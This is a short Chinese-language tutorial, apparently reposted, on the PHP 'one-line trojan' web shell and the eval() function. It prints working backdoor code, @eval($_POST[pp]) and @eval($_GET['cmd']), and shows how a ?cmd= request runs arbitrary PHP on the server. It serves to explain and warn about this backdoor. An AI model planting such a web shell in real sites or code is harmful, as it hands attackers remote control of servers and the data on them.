PHP一句話


<?php @eval($_POST[pp]);?>

這是一段PHP木馬代碼,也就是我們所說的后門程序

為什么說這段代碼是后門程序?

其實這段代碼屬於基礎類的一句話,功能僅限於驗證漏洞了,實際中太容易被查出來了,

這個是PHP最常見的一句話木馬的源碼,通過post木馬程序來實現木馬的植入,eval()函數把字符串按照PHP代碼來計算

就這一句話害死人,這樣任何人都可以post任何文件上來,所以要做好防范

eval函數

eval() 函數把字符串按照 PHP 代碼來執行

該字符串必須是合法的 PHP 代碼,且必須以分號結尾

如果沒有在代碼字符串中調用 return 語句,則返回 NULL

如果代碼中存在解析錯誤,則 eval() 函數返回 false

eval函數的一般用法

一般用法也就是平時我們所用的,但是感覺我都不用這個函數,作用相當於Python中的format函數,格式化字符串

<?php $string = "beautiful"; $time = "summer"; $str = 'This is a $string $time morning!'; echo $str. "<br />"; eval("\$str = \"$str\";"); echo $str; ?>

結果輸出:

This is a $string $time morning!

This is a beautiful summer morning!

eval函數的特殊用法

這就是二般人的用法了,一句話木馬下面我們直接來看實例,新建一個php文件,寫入如下代碼

<?php @eval($_GET["cmd"]); ?>

加上@符來抑制錯誤輸出,來訪問?cmd=echo 'hello,world!';這個路徑,就會看到輸出

 

查看PHP的信息:pathinfo()

 

post提交同理,原理就是上面說的,將字符串按照 PHP 代碼來執行了,這是最簡單的一種PHP一句話木馬程序代碼,也感覺是最弱智的。。。 

 

轉載自:PHP的一句話木馬代碼和函數eval的簡介


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM